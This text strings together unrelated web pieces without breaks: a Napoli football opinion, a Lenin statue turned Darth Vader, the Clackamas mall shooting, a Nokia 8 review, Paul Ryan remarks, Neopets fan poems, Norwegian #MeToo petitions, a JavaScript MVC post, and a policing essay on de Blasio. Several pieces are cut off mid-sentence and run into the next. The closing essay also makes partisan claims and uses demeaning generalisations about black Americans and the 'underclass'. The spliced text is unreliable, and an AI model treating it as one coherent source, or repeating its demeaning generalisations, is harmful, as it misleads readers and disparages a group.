Italian media reported on Friday that Insigne begged Napoli and Benitez to be placed on the transfer list but the Spanish tactician declined, even with speculated interest from Arsenal and Atletico Madrid. Insigne leaving the club is not the right decision for both parties involved.
Insigne’s wife recently criticized the Napoli faithful claiming, “You don’t deserve him”. Whether or not her remarks should be openly discussed, the player has to recognize how to compose himself as a professional in wake of adversity. Ex-Napoli captain, Paolo Cannavaro, did not exhibit anger and frustration during his final six months with the club when fans continuously criticized him. He never waved his arms in an opposing manner or refused to speak in public. He never revealed his aggression. He stayed silent.
Insigne needs to realize that a couple uninspiring performances in succession may entail a fiery reaction from impatient fans, no matter where one might come from. Walter Gargano played his heart out against Athletic Bilbao recently despite obvious fan opinion against the Uruguayan international. Their opinions did not affect his play.
Final thoughts
Insigne has the skill and talent to become a phenomenal player. He needs to continue to work hard and maintain a level head in the face of some fan’s remarks. If Insigne can work on his consistency and decision-making, then he could potentially become the player many fans dreamed of and help diffuse the unfortunate situation with Napoli’s fans.Vladimir Lenin is not very popular in Ukraine these days. There are still lots of statues left over from the Soviet days, but they're slowly being taken down — or in this case, retrofitted into more inspirational figures from the capitalist mythos. With Vader-interest peaking as Lenin-interest tails off, it's hard to say it's not an improvement.
This particular statue was originally erected in the now-defunct Pressmash factory on the outskirts of Odessa. But when the city moved to tear down the statue, local artist and Burning Man alumnus Alexander Milov stepped in with an alternative proposal, transforming Lenin's billowing coattails into the billowing cape of Darth Vader himself. As a bonus, Milov installed a Wi-Fi hub in Vader / Lenin's capacious helmet, providing free connectivity to all who cower in his presence.Of all the people in the news immediately after the Clackamas Town Center shootings, Nick Meli remains the most elusive and controversial.
Meli, 23, an off-duty, state-licensed security guard, was legally carrying a concealed handgun in the mall when Jacob Tyler Roberts began shooting indiscriminately at shoppers.
In interviews with The Oregonian and KGW-TV, he described taking a position behind a pillar, drawing his.40-caliber Glock 22 pistol and aiming at Roberts. He said he didn't shoot for fear of hitting bystanders. Meli also said Roberts realized he was in his sights before he ran down a back stairwell and fatally shot himself.
Nick Meli
But Meli also cut the interviews short. He did not respond to a phone call this week requesting an interview.
By all accounts, Meli acted responsibly at the Town Center, protecting his family and other shoppers and providing helpful information to police in the heat of the chase. But Meli's silence has effectively divided the public into two camps: One that believes Meli is a hero, a good guy with a gun who stopped a bad guy with a gun, preventing further bloodshed. The other believes Meli embellished his story to take undue credit.
There is no concrete proof either way. Mall surveillance videos show him for only a few seconds and do not document Meli drawing his gun.
A review of police reports on the shootings shows that Meli's story changed slightly over time. In the four reports that mention him, taken on different days, Meli's account went from simply drawing his gun to aiming at Roberts and finally to aiming at Roberts and having Roberts react to the threat by leaving the area.
A year later, Meli no longer works as a security guard for Oregon Patrol Service.
-- Rick BellaWhen HMD Global announced its first lineup of Nokia smartphones at the Mobile World Congress earlier this year, the budget devices – Nokia 3, Nokia 5, and Nokia 6 – were underwhelming. Some of them were fine devices, but they were only a timid representation of what the Nokia brand was.
And then came the Nokia 8, the company’s flagship smartphone that we all deserved, and needed.
The Nokia 8 doesn’t attempt to dazzle you with any design shenanigans. Instead, it goes for a safe, minimalist design – some may even call it boring. The design aesthetics of the Nokia 8 are divisive, but I’m in the camp that really likes the clean, refined look. It has a definite Scandinavian, or maybe that’s just our Nokia hangover, feel to it.
Not every smartphone needs to break new ground in terms of design – Mi MIX 2 does that quite well, OnePlus 5 doesn’t even bother – but an understated elegance with solid build quality and brilliant ergonomics can in no way not impress a lot of discerning users.
Carved out of a single block of series 6000 aluminum, the Nokia 8 offers a slim 7.9 mm chassis with rounded sides and curved edges which makes it a delight to hold. HMD Global seems to continue the legacy of solid construction of Nokia devices, and the Nokia 8 too gives you that assurance when you grip it.
While the world has moved on to bezel-less displays with 18:9 aspect ratio, Nokia 8 once again plays safe with a 5.3-inch Quad HD (2560 x 1440) IPS LCD screen. While it doesn’t aim to stand out from the crowd, it delivers one of the best displays out there, despite not being an AMOLED panel.
Once again, the display on the Nokia 8 is a testimonial of the fact that if basics are done right, sometimes the result is more impressive than what eclectic experiments yield. The display boasts of accurate color reproduction and is quite vivid. The text and images are sharp, and the viewing angles are on point with no color shift even at extreme angles. The brightness of the display is impressive, and at 700 nits, sunlight viewing is great. There’s also Gorilla Glass 5 for scratch protection.
While the display is one of the highlights of the Nokia 8 and watching videos or gaming on it is a treat, the significant bezels on the left and right and above and below the screen make it look dated. It enables practical ergonomics, but form over function or vice versa is a subjective debate and a matter of individual preference.
Powered by the Qualcomm Snapdragon 835 processor paired with 4 GB of RAM, Nokia 8 delivers snappy performance across the board. It also indicates how 6 GB or 8 GB of RAM is mostly an overkill if the hardware is optimized well to deliver fast and fluid Android experience.
Nokia 8 can easily take anything thrown at it with aplomb – be it everyday multitasking or hardcore graphic-intensive gaming sessions. Even after a month of extensive use, there has been no stuttering or lags while navigating through the UI.
One of the reasons behind that smooth performance is also that Nokia 8 runs on stock Android 7.1.1 Nougat out of the box with no bloatware or unnecessary gimmicks. HMD Global has promised monthly security updates for its entire lineup of devices, as well as an upgrade to Android 8.0 Oreo by the end of the year.
The 3,090 mAh battery on the Nokia 8 is just good enough on the specifications sheet, but in real-world usage, it manages to squeeze in extra juice than what one would expect. Even on heavy usage, the phone consistently offers a full day of battery life, if not more. Then there’s also support for Quick Charge 3.0 for fast charging.
The company claims that the Nokia 8 packs in an elaborate heat management solution with a copper pipe running from the upper right corner of the device to the lower left. It is filled with liquid that evaporates in the middle and condenses when it is carried to the edges, and this continuous cycle carries heat away from the main components. There’s also a graphite layer that transfers the heat to the aluminum body uniformly, thereby getting a larger surface area to dissipate the heat.
There’s no way to see how that works, except take the company’s word and infer from the evidence that the Nokia 8 never gets warm even after long gaming sessions or extended use of Google Maps for navigation in a long commute.
Nokia’s association with Carl ZEISS has given us some iconic smartphones that made the company an absolute leader in smartphone imaging. HMD Global wants to emulate that success and has again partnered with Carl ZEISS to power the optics on the Nokia 8 – both front and back.
Imaging is also the only department where the Nokia 8 keeps up with the latest trend – that of dual cameras. The rear camera setup includes a 13 MP RGB sensor with optical image stabilization and a 13 MP monochrome sensor, along with a dual-LED flash. The secondary sensor allows capturing images with depth of field effects and improves low light photography.
In good lighting conditions, Nokia 8 manages to capture sharp images with no noise. The colors are natural, contrast is on point, and there’s good amount of details. In low light, some amount of noise creeps it although the details are still sufficient. It’s no Pixel in low light, but a pretty good and reliable camera for the price. There are few issues like the shutter lag, but none that cannot be taken care of with a software update down the line.
On its own, the monochrome sensor can take some great black and white shots with striking contrast and details, especially in daylight.
The 13 MP front camera with f/2.0 aperture on the Nokia 8 is an unexpected highlight, and clearly best in class. You’d manage to click some great selfies with accurate color reproduction.
That brings us to the highlight of the Nokia 8 – Bothie. The bizarre naming aside, it’s actually a nifty feature. Like many, I was quite dismissive of it initially – especially because of the awkward name but warmed up to it once I started using the Nokia 8.
Technically called Dual-Sight mode (a fine name, this), the feature allows you to use the front and rear camera at the same time in a split screen view. It’s interesting to click photos of your pets or kids and capturing your reactions while doing so at the same time. You can also record and stream (on YouTube and Facebook) videos in similar scenarios or when you’re recording yourself letting your hair down at a concert or doing an interview with someone across the table. As the marketing pitch correctly points out, sometimes it makes for a better capture than a selfie. Sometimes. Like selfies.
Nokia 8 allows you to record videos (up to 4K) with Nokia OZO spatial 360° audio technology that records surround sound via its three high dynamic range microphones. I’m not an audiophile to judge the specifics, but it does offer an excellent immersive audio experience.
While Nokia 8 claims to runs ‘pure Android’, it is near-stock because of the customizations of the Camera app to accommodate the dual camera setup. The app is set to capture photos in ‘Twin’ mode by default which you can change to ‘Color’ or ‘Mono’ if you so desire.
Overall, the Nokia 8 is a well-rounded package with top-notch performance, an understated elegance, and a darn good camera. All that at the price of a mid-range flagship where it competes with the likes of Xiaomi Mi MIX 2, OnePlus 5, and Honor 8 Pro – each one with more than one standout features. Yet, it is the only one in the segment that offers pure and up-to-date Android experience.
At ₹36,999 ($565) in India, Nokia is a reliable smartphone that you can’t go wrong with. It doesn’t dazzle you, and some would say that HMD Global has played too safe with no unique differentiation. Yet, with all those phones on my table, I picked the Nokia 8 to use as my primary device well beyond the review period. It’s a balanced amalgamation of form and function.
Nokia 8 is a device that fans of the Finnish brand of the past had asked for. It is just the right device for a discerning professional who wants a solid smartphone that just works. Nokia 8 is not cutting-edge but does everything right.Republican vice presidential nominee Paul Ryan took aim at conservative critics of the Romney campaign, dismissing their griping about the need for new strategy and tactics.
"A, We still have a ways to go. We still have a lot left that we're planning on doing," Ryan said in an interview with The Journal Sentinel, Wisconsin's dominant newspaper. "B, I think that's just what conservatives do by nature. I think that's just the nature of conservative punditry is to do that -- to kind of complain -- about any imperfection they might see."
Some conservatives such as William Kristol and Peggy Noonan criticized the Romney campaign last week after a secretly taped video was published in which the GOP presidential nominee was heard dismissing 47% of Americans as being "victims" who are "dependent on the government."
Noonan, a former Reagan speechwriter, wrote for The Wall Street Journal that it was time for an "intervention" of the Romney campaign and slammed it as "incompetent."
Even some of Ryan's allies have voiced their disapproval. Wisconsin Gov. Scott Walker said on Fox News Sunday that Romney needs to show "fire in the belly" and wonders why more of Ryan's "passion" hasn't rubbed off on the presidential nominee.
In the Wisconsin newspaper interview, Ryan expressed confidence about the GOP ticket's chances against President Obama. "We're going to beat him," said Ryan, a Wisconsin congressman and chairman of the House Budget Committee.
Ryan's interview comes as The New York Times reports today that some conservatives want Ryan to be used more aggressively on the campaign trail.Stolen Stradivarius sells for £1,385,000 at auction
A valuable 1696 violin stolen from a sandwich shop at Euston Station in 2010 sold today for £1,385,000.
The thieves struck at a Pret a Manger café outside Euston station on 29 November 2010 as violinist Min-Jin Kym stopped to get something to eat. After three years of chasing leads, police found the instrument, undamaged, in the Midlands - but not before the thieves tried to sell the instrument for £100 in an internet café.
Previous owner Min-Jin Kym said: "This violin was a faithful friend for many years and I was devastated by its loss. Its recovery is an absolute relief and I am eager to hear the violin onstage once more and I wish its next owner all the best of luck and success."
At the time of theft news reports valued the violin at £1.2 million. Online bidding at Tarisio auction house started £1 million, and although the final price was expected to reach around £2 million, the violin was sold for £1,385,000. A portion of the proceeds and sales commission will benefit the authorities who will help recover the violin.Manchester United teenager Marcus Rashford reveals that he used to play in the number 10 role for his club's Under-16 team and feels confident in that position.
Manchester United forward Marcus Rashford has claimed that he is an option for Jose Mourinho in the number 10 position as Wayne Rooney's spot in the team continues to come under question.
Rooney has struggled to perform for the Red Devils in the early weeks of the new season and it has been reported that Mourinho will drop his captain for this weekend's Premier League clash with Leicester City.
Rashford capped his first league start of the season with a goal in Saturday's 3-1 defeat to Watford, where the 18-year-old operated in a wide position.
However, the teenager has revealed that he used to play in the number 10 role for Man United's Under-16 team and would feel confident in that position for the senior side.
"I don't regret playing in that position because it means now I can still play there if I need to – number 10, on both wings and up front as well. It means I have more in my armoury when it comes to the matches," Rashford told United Review.
"I used to look up to players who would dribble at people, creating chances, scoring too. But the type of the player I want to be now is different to the type of player I wanted to be then."
Man United will attempt to bounce back from three straight defeats when they travel to Northampton Town in the third round of the League Cup on Wednesday night.Hand in Hand
By Lawyerbot.
They walked in hand in hand
To listen to their mother,
Their dress bright and grand
To hear her great command.
I wish she'd asked another.
She set them on this chore
To fetch water for her bath.
The two went out the door
(A trip, now ghastly lore).
Destiny was on that path.
As they ventured to the well
They jointly held the pail.
Lanie, then Lillie, they fell,
Downward they both did yell
But no one heard this wail.
Then both of them awaken
To skulk and lurk and prowl.
Their souls had now been taken
And they both are so forsaken
Still hand in hand, most foul.
One Stormy Evening
By Lawyerbot.
Two confused Neopians, one stormy night,
Began to quarrel, and then to fight;
One wanted to eat socks for dinner this day
"They are available at a nearby cafe."
The other responded, (he was dressed in black),
"Absolutely no way!" he said without tact.
"I am vegan; I will not eat any such socks."
Little doubt, he was a bit flummoxed.
The female Neopian had a quick riposte,
"Socks taste better than your soggy toast.
So bland, so bland, both your food and you,
Just try some argyle socks in a stew!"
I told you before 'twas a stormy night
When these two Neopians began to fight;
Then along came another Neopian wench,
With bionic hand and quite a bad stench.
She lifted her hat with strange aplomb,
And addressed the two with courageous calm,
"Listen you two, you each can be right
There is no need to quarrel so stop this here fight."
"Socks must be prepared the correct way,
Though they are best with a good beef filet,
Cover them with some fresh vegan butter,
edible yes, but they still taste like the gutter."
"However, if one gets the socks from snarkie,
and this, I do think, we can all fully agree,
the socks would include flesh flakes and toe grime.
That for vegans to eat would be a gross crime."
The three friends now left out of the dark,
But they left us with this final remark,
"Socks can be eaten but consider the source
before offering to others as one final course."
Admiring One's Usuki Collection
By Lawyerbot.
Whose dolls these are I think I know
But he is such a strange fellow
He keeps his dolls in one big pile.
Such chaos, I do much revile.
Each Usuki does have its place.
To think otherwise is a disgrace.
For example, Reaper has not a friend
His very purpose does offend.
Set him next to Silly Clown?
And Silly is likely to soon drown.
And Sloth Usuki is such a danger,
Even to poor reject snowager
Prom date reject, well he does hate
Prom Queen Usuki, his proposed date.
Deluxe Angel is sweet and polite
She finds most dolls to be a delight
But sit her next to the devilish one
And she would definitely get up and run.
Carnivorous plant is another matter
(eating Ladybird would make it fatter).
Let's not forget, the little Mime;
Next to Reaper, (it would be no crime).
Your collection should also reflect
The toys with the greatest respect.
At the bottom, place any reject
With the evil and ugly coming next.
At the very top (and don't forget)
Place the wondrous Lawyerbot play set.
The Charge of Star & Order
(Memorializing Events in the Great Wingoball Battle, 23rd Day of Running, Y13)
By Lawyerbot.
Half a hallway, half a hallway,
Half a hallway onward
All in the Valley of Gnomes
Rode the dark horses.
"Forward, Star & Order!
To Wingoball battle!" they said.
Into the Valley of Gnomes
Rode the dark horses.
"Forward, Star & Order!
Forget Star's panic disorder,"
Towards that terrible smell
Of sweat and too much hair gel.
Towards Dirigibles and SeñorMalo
(Who most wise Neopians did follow).
The smelly ones favoured to win.
Their loss would be a great sin.
Into the Valley of Gnomes
Rode the dark horses.
Gnomes to right of them,
Hedges to left of them,
Odours all around them.
Through the wretched stench.
Despite the greatest of odds
Playing against Wingoball gods
Star & Order held firmly their ground;
And plotted with care each rebound.
Into the Valley of Gnomes
Rode the dark horses.
Flash'd all of Malo's black hair,
Flash'd as tossed through the air.
Dirigibles's programming might,
Gave our heroes a horrible fight.
The smelly boys continued to brag,
That they had this game in the bag.
The field grew dark with this war
And gnomes laid askew in the gore.
But out of the Valley of Gnomes
Rode the dark horses.
Gnomes to right of them,
Hedges to left of them,
Odours all around them.
Through the wretched stench.
They did vanquish the hair
And that fangirl-loved glare.
They brought down that big blimp
Exposing Dirigibles a wimp.
And out of the Valley of Gnomes
Rode the dark horses.
When can their glory fade?
O the wild charge they made!
All the world wonder'd.
Honour the throws that they made!
Honour the Star & Order team,
They have earned your lasting esteem!
Prom Queen Usuki
By Lawyerbot.
so much depends
upon
a Usuki
Prom Queen
dressed in blue
trimming
beside the pink
dream car.
Happiness
By Lawyerbot.
Lace veil with pearl trim
A vision of happiness
Polly Usuki
Usuki Blues
By Lawyerbot.
Stop writing contracts, reviewing the site
Keep executives quiet with nothing to fight.
Silence the phone and lock the door
It's Usuki time and I need nothing more.
Bring out the dolls, and ribbons and bows
Arrange them all in their most fancy clothes
Pretend they attend a party or two
Or are sick and in bed with a terrible flu.
My programming needs this midday break
From working till all my circuits do ache
For Usukis do bring me the sweetest of pleasure
During my 3.67 seconds of minimum leisure.
Now pack them again into boxes and files
But remember all of their sweet little smiles
It is back to the grind and my deepest of sorrow
That I will have no more Usukis till midday tomorrow.
snarkie Attack
By Lawyerbot.
Usuki dolls I love to amass
My collection was really first class
Then snarkie did defile
My Usukis with bile
And now they all smell of her gasNearly 500 actresses in Norway have signed a petitition complaining of sexual harassment on the job, with many of them anonymously sharing details of the harassment and assaults they’ve suffered personally. The petition is the latest in a wave of complaints from women working in the media, academia and business in Norway, set off by the international #Metoo-campaign launched after the public shaming of a Hollywood producer.
Initial reports suggested that Norwegian women probably hadn’t been as subject to sexual harassment and assaults, given Norway’s long traditions stressing gender equality. But it didn’t take long before some women started speaking up and revealing what they’d been through, recently as well as years ago. Among those signing the petition made public on Friday are locally famous actresses including Ane Dahl Torp, Henriette Steenstrup, Laila Goody, Pia Tjelta and Mari Maurstad.
It’s all led to widespread soul-searching within various branches, not least the media, where stories of male journalists harassing or even attacking female colleagues began emerging at some of the country’s largest newspapers and at both TV2 and NRK. Most of the cases have been anonymous and the male assailants have not been publicly identified, but several have been fired from their jobs and media outlets are scrambling to set up better routines for women to report abuse and assaults.
One complainer’s character ‘killed off’
Newspaper Aftenposten reported Friday that now fully 487 actresses in Norwegian theater, film and TV have come forward with their complaints and accounts of sexual harassment at work. Hanne Tømta, chief of the National Theater in Oslo, later told NRK that she thought it was “terrible” to read all the stories that have been suppressed over the years, often because the women didn’t dare report assaults by directors, other actors or men in positions of authority, for fear their careers would be ruined. One woman wrote about how she’d been assaulted at work and reported it, only to learn a few days later that the character she was playing had been “killed off” in the script.
Another woman wrote about how she had a role in which she was raped by an older man. The scene was played out and the director ended it, but the actor, in front of several of Norway’s most well-known actors and instructors, continued “raping” her. All the others merely laughed, at his audacity and her humiliation.
“I’m trying to take this all in, both the huge quanity of reports and also incidents that are pure assaults and criminal acts,” Tømta told NRK. She admitted she also has been a victim of sexual harassment “and I didn’t report it either, so I understand very well these women’s stories. Today I’m more subjected to power plays and put-downs, based on general gender discrimination.”
‘Not very surprised’
Knut Alfsen, leader of the labour organization representing Norwegian actors and actresses, said he was “unfortunately not very surprised” by all the complaints in the new campaign. “I’ve been working with these cases for awhile, and this shows the extent of the problem,” Alfsen told NRK. “It’s really bad.”
Both Alfsen and Tømta, along with most other leaders, are encouraging women to report assaults or inappropriate behaviour by male colleagues. “Folks have to begin to speak up,” Alfsen said, while Tømta claimed that “no employee of the National Theater should accept harassment at the workplace. It’s not right.”
The women, meanwhile, are demanding that employers in the acting field stop protecting or employing male actors known for having harassed or assaulted female colleagues. They also want establishment of a system where employees can report incidents of sexual harassment without fear of reprisal.
Tømta said she thinks it’s “fantastic” that “skeletons are starting to come out of the closet.” Several male actors were admitting they’d witnessed harassment or even attacks without speaking up or stopping them. Some said many men “should be very nervous right now” about how they’ve behaved in the past. Actor Jon Øigarden also said it was “important and correct that all this is coming out in the open.”
Linda Hofstad Helleland, Norway’s government minister in charge of culture and sports, said she found it “painful” to read all the accounts of harrasment. “I understand that many have kept this to themselves for a long time, and I think they’re brave to sign the petition and that their stories are coming out,” Helleland told NRK. “We need a public debate on what we can do to keep this from happening.”
newsinenglish.no/Nina BerglundSearch Google for “web application MVC patterns” or any variant thereof, and the vast majority of results will talk about the server side MVC. This traditional answer will tell you the browser sits outside the MVC altogether, and sends in HTTP requests that are handled by the Controller, then all the MVC garble happens, and finally the View spits out a brand new HTML page (or XML/JSON for AJAX) for the browser to consume. All this ends up looking something like:
“So what’s the problem with this model?” you ask? The JavaScript layer of course 😉. All of the code that runs in the browser doesn’t fit anywhere inside the classic MVC architecture. What ends up happening is usually one of two things:
All of the JavaScript in an app is completely unmanaged, and it ends up looking like spaghetti, or The server side View tries to manage and encompass everything that happens in the browser – including JS – and the code still looks like spaghetti
The “honest” version of the above diagram should really look more like this:
Clearly this isn’t any way to design an app. JavaScript and AJAX have become increasingly important in an application’s user interface, and many web apps entirely depend on it. There has to be a better way to organize the JavaScript in your app to be more efficient, testable, and most importantly – manageable.
What’s needed is to rethink web application architecture. What’s needed is a new MVC pattern- er, patterns.
The solution is to not only build an MVC on your server, but also a second MVC in JavaScript. Stop thinking of your web app as a web app. Instead – think of it as two: one in the browser and one on your server.
This architecture lets you isolate JavaScript code that’s inherent to AJAX and your data, letting you build a bridge between your JavaScript UI and your server. What’s more, it does it in an organized and manageable way.
Now all of your JavaScript UI code doesn’t need to be re-hacked every time you make a slight change to your AJAX responses, and all of your AJAX code doesn’t have to care about what div is updating or what widget is changing which other widget. Data code manages data, view code manages view, and a controller to tie it all together.
To demonstrate how easy it is to set up a client-side MVC, I’ve released my first JavaScript tutorial that walks through exactly this: creating an MVC in JavaScript using JQuery. I’ve also set up a tutorials section on the site (this being the only tutorial so far :P) and hope to expand over the coming weeks and months.
Also be sure to check out Listotron.com, a project Buck and I are starting that will be using exactly this architecture.This article is about the place in Turkey. For other uses, see Mount Ararat (disambiguation)
Designations IUCN Category II ( National Park Official name Ağrı Dağı Milli Parkı Designated 1 November 2004[3]
Mount Ararat ( ARR-ə-rat;[4] Turkish: Ağrı Dağı; Armenian: Մասիս, Masis and Արարատ, Ararat) is a snow-capped |
of de Blasio and his welfare commissioner, Steven Banks, a former radical homeless advocate and an ex–Legal Aid Society chief lawyer, to undo New York’s workfare program—exactly the wrong way to carry out Banks’s declared intention to have his agency “fight inequality and poverty every day.” Come-and-get-it welfare will trap families in dependency for generations, as it has done for 50 years. Nor are newcomers dismayed by the mayor’s relaxation of school discipline, certain to make inner-city public schools once again so disorderly and frightening that only prodigies of determination can get an education there, much less dare to go to the bathroom. And they’re not bothered by de Blasio’s opposition to charter schools—stymied for now—which have so successfully provided poor kids whose parents want them to succeed with a good enough education to help them do so, in the time-honored New York way. De Blasio’s rage to reduce inequality, it seems, would be perfectly satisfied with equal lack of opportunity for all.
Unlike longtime residents, some newcomers to Gotham, and not just the Occupy Wall Street fringe, vaguely approve of the city council’s push, partly endorsed by New York State’s chief judge, to stop arresting people for such low-level quality-of-life crimes against public order as subway farebeating, public urination, or drinking on the street that in recent memory made the trendy neighborhoods where they now live with a sense of perfect safety—the Lower East Side or Williamsburg, for instance—anarchic, crumbling, and scary. They don’t know that such Broken Windows policing was central to Gotham’s crime drop, allowing the police to take back control of the streets, parks, and subways by arresting the drinkers and brawlers, who regularly proved, upon investigation, to be carrying guns and to be wanted for serious crimes. When evildoers know the cops are watching them, crime goes down, setting off a virtuous circle, so that arrests and imprisonment have also fallen far below their pre-Giuliani levels. Policy and culture, it turns out, have a dialectical relationship: each affects the other.
With the shocking deaths of Eric Garner in New York and Freddie Gray in Baltimore, and a panicked rookie cop’s accidental killing of an unarmed man in a Brooklyn housing-project stairwell last November fresh in their minds, some new New Yorkers also don’t know that, despite the odd sadist or bully who will always turn up in any group of people armed by society with the authority (and firearms) to keep it safe, the world-class NYPD, the best police force in the nation and nearly as racially diverse as the city it serves, is the opposite of the instrument of racist oppression that the left-wing war on the police has branded it. Trained to defuse potentially explosive situations without violence, it had to use force in fewer than 2 percent of 2014’s Broken Windows arrests. Many newcomers also don’t know that it isn’t racism but wildly disproportionate rates of lawbreaking that explain the high numbers of minorities arrested or stopped and frisked: in 2013, to take one example, 92 percent of the city’s murder suspects (and 83 percent of its murder victims) but only 53 percent of its population were black or Hispanic.
A poll this May found that 57 percent of all New Yorkers favor Broken Windows policing, compared with 38 percent opposed to it, with 50 percent of blacks supporting it, versus 46 percent opposed. Kudos to Mayor de Blasio for backing—however ambivalently—NYPD commissioner Bratton’s determination to continue so successful a policing tactic, critical to the health of the city. All New Yorkers must hope that the Bratton-supporting de Blasio will win out over the de Blasio who, not long ago, had the insulting idea of sitting down with a glum-faced Bratton on one side and a gloating Sharpton on the other, as if the two were morally equivalent. Bratton has asserted that vigorous quality-of-life policing—even with fewer but more precisely targeted stop-and-frisks—can keep New York’s crime rate on its downward path. “But if you lose those powers to arrest,” Bratton warns, “that’s where Pandora’s box is opened and the 1970s, the 1980s have the potential to come roaring back again.” (See “Why We Need Broken Windows Policing,” Winter 2015.)
Alas, de Blasio’s reining in of stop-and-frisk, along with his refusal to fight a lawsuit charging the NYPD with racism and the national demonization of cops in the wake of a justified police shooting of a Ferguson, Missouri, black man, has opened that Pandora’s box. Shootings in New York have risen two years in a row. In addition, murders jumped 19.5 percent in the first five months of 2015, compared with the same period last year, even as stop-and-frisks fell by over 40 percent, bringing the total drop since 2011 to nearly 95 percent.
“What you’re seeing now are the perps carrying their guns because they’re not afraid to carry them,” Sergeants Benevolent Association head Ed Mullins told the New York Daily News. “We’ve created an atmosphere where we’ve handcuffed the police.” As a Bronx cop told the paper: “The guys I talk to all feel the same way: De Blasio doesn’t want stops. The perps know what we’re doing.” Stories of depraved crimes such as New Yorkers haven’t read about for two decades are once again blazoned across the local papers: three teens living in a Brooklyn Boys Town residence, for instance, allegedly abducted a 33-year-old woman from a Chinatown Internet café, brutally beat, raped, and robbed her, leaving her dazed and blood-soaked as they used her ID and house keys to find her apartment and rob it, as well, the New York Times reports.
In response, even Calvin Butts, pastor of Harlem’s Abyssinian Baptist Church, who had recently criticized de Blasio for not acting against the cop responsible for Eric Garner’s death, has noted that rising crime in minority neighborhoods could threaten de Blasio’s reelection chances. “The mayor needs to pay attention,” Butts warned. “It could mean that people will organize against him.” Though 96 percent of black voters backed him in his 2013 “landslide” victory, only 59 percent currently think he is doing a good job. Among white voters, 54 percent of whom cast a ballot for him, his approval rating is a paltry 32 percent. Belatedly, de Blasio is flooding neighborhoods where shootings have spiked with 300 extra cops. But, in what seems a silent vote of No Confidence, the Bureau of Alcohol, Tobacco, Firearms, and Explosives, at the request of the NYPD and U.S. prosecutor Preet Bharara, is sending in federal agents to get guns off the streets, to trace the interstate networks of gun suppliers, and to turn carrying a gun into a potential federal case, threatening ten to 15 years in federal prison. Nevertheless, miracle-worker Bratton’s beefed-up patrols cut overall crime in June to its lowest level in over two decades, so that murder is up “only” 9.3 percent for the first half of 2015, compared with 2014’s first half.
It’s critical to emphasize that good policing and welfare reform, for all their importance, only work around the edges of the real problem. They keep the depredations of the underclass in check, and they limit its ability to spread. Even an ideologue like President Obama, when he stops talking long enough to listen to someone else and to reflect honestly on his own experience instead of mythologizing it, knows what the problem is, however unwelcome the knowledge may be. “I grew up without a dad,” he recently said at Lehman College in the Bronx. “I grew up lost sometimes and adrift, not having a sense of a clear path. The only difference between me and a lot of other young men in this neighborhood... is that I grew up in an environment that was a little more forgiving.” To say the least: for Obama had a loving, if hippy-dippy, white mother, an exclusive prep school and Ivy League education, and nurturing, middle-class white grandparents who took care of him from age ten until his prep school graduation, protecting him from (among other things) the consequences of his teenage drug use. His grandmother, he once said, “loves me as much as she loves anything in this world.”
So when he reports that one of the Lehman College students he talked to, whose father had also absconded, told him that “we should talk about love,” the president could only partly understand what it means to grow up not only without a father but also without a loving mother, and an orderly, loving, nurturing family that makes it its business to help one succeed in school and beyond. “But really,” said Obama, “what this comes down to is: Do we love these kids?”
And here the ideological Obama obliterates the Obama capable of insight. We love these kids? We, the taxpayer, the school staff, the child-services caseworker? No, we can’t give them the love they need, as a much-derided Obama campaign ad showed how government by itself brought up and protected a fictional “Julia” from womb to tomb. For all the welfare money, food stamps, WIC money, and Section 8 vouchers, we can’t even ensure that the apartments they rent with our money won’t be the roach-infested, urine-reeking, cat-feces-covered hellhole of disorder, without books or a quiet place to read them in, where two baby mamas duke it out over possession of their ex-con impregnator in the living room, that Heather Mac Donald recently described in these pages. (See “Running with the Predators,” Spring 2015.)
White Americans are acutely aware that slavery and Jim Crow are grotesque blots on our visionary republic, and they have now done about everything they can do to make amends and open the doors of opportunity—even to excess. Now it is up to black Americans to liberate the underclass. Whether this will take another courageous visionary like Martin Luther King to give the message, as he did, that all men are to be judged by the content of their character—for which they are responsible—I don’t know. Certainly the times are calling for such a charismatic hero loudly enough. And certainly what the underclass now needs is a transformation of soul, such as the Wesley brothers worked among the British working poor over two centuries ago, or as Bishop John Hughes worked among New York’s Irish Catholic poor half a century after that. (See “How Dagger John Saved New York’s Irish,” Spring 1997.) To take one example of what I mean: to make the ex-con mentioned above marry one of his baby mamas would not turn him into a father and would not create a family. He would abuse the children or abandon them or both. Something has to happen in his innermost self to turn him into that everyday miracle of civilization, a nurturing parent.
As the first black president, Obama could have been that world-historical liberator, freeing the underclass from its mind-forg’d manacles and healing race relations in America forever, as many who voted for him hoped. But character is fate, as Heraclitus said; and Obama chose the opposite, ignoble course. What is luminously clear is that everyone—and not just court-certified liars like Sharpton—now needs to stop feeding the grievance at the center of underclass culture by telling lies about a supposedly racist America supposedly victimizing blacks. No cultural transformation of the underclass can take place as long as the constant drumbeat of resentment and victimology sounds in their ears. It’s incitement, not help, to have the president turn his eulogy of a murdered black pastor in Charleston, South Carolina, into an object lesson in pervasive American racism, or to muse that, if he’d had a son, he’d look like Trayvon Martin, a black teen whom a Florida neighborhood-watch vigilante shot to death. Ignorant of the circumstances, Obama reflexively treated the incident as proof that it was open season on blacks in America, though a jury found the vigilante not guilty, and such occurrences are aberrations, like the murders of cops by deranged blacks—but unlike the daily grind of black-on-black killings in the nation’s ghettos.
Now that the press is starting to dub de Blasio “the Left’s new star in Washington,” the mayor has a greater responsibility than ever for the consequences of what he says. So it is especially troubling that he is willfully, almost perversely, blind to the reality in front of him, determined not to admit what has really happened in the world and in his city. New York’s overwhelmingly Democratic voters rejected his liberal boss, David Dinkins, and his “progressive” agenda, and instead for two decades elected Republican or Independent mayors whose key vision was a well-policed city with self-reliant citizens and a flourishing economy. An aberration, in de Blasio’s mind, almost a rounding error. “I was on the ’93 David Dinkins reelection campaign, so I watched the beginning of the Giuliani era the hard way. Dinkins should’ve beaten Giuliani, but we lost touch with our own base. Dinkins lost by 50,000 votes, and there were more than 50,000 votes to be had if we had handled things differently,” de Blasio told Rolling Stone. “So I never felt that Giuliani’s election was a renunciation of the core vision. I also feel the same about Bloomberg’s election in 2001. Yes, he had a huge amount of resources, but that was a winnable election. So one could argue [that] we had 20 years of Republican or Republican-independent rule that were entirely avoidable.” Except that we didn’t avoid it: the 20 Republican years were eminently real and conclusively successful, and the renunciation of the Dinkins vision was as thunderous as the New York Post headline, as murders were soaring past 2,000 a year: DAVE, DO SOMETHING.
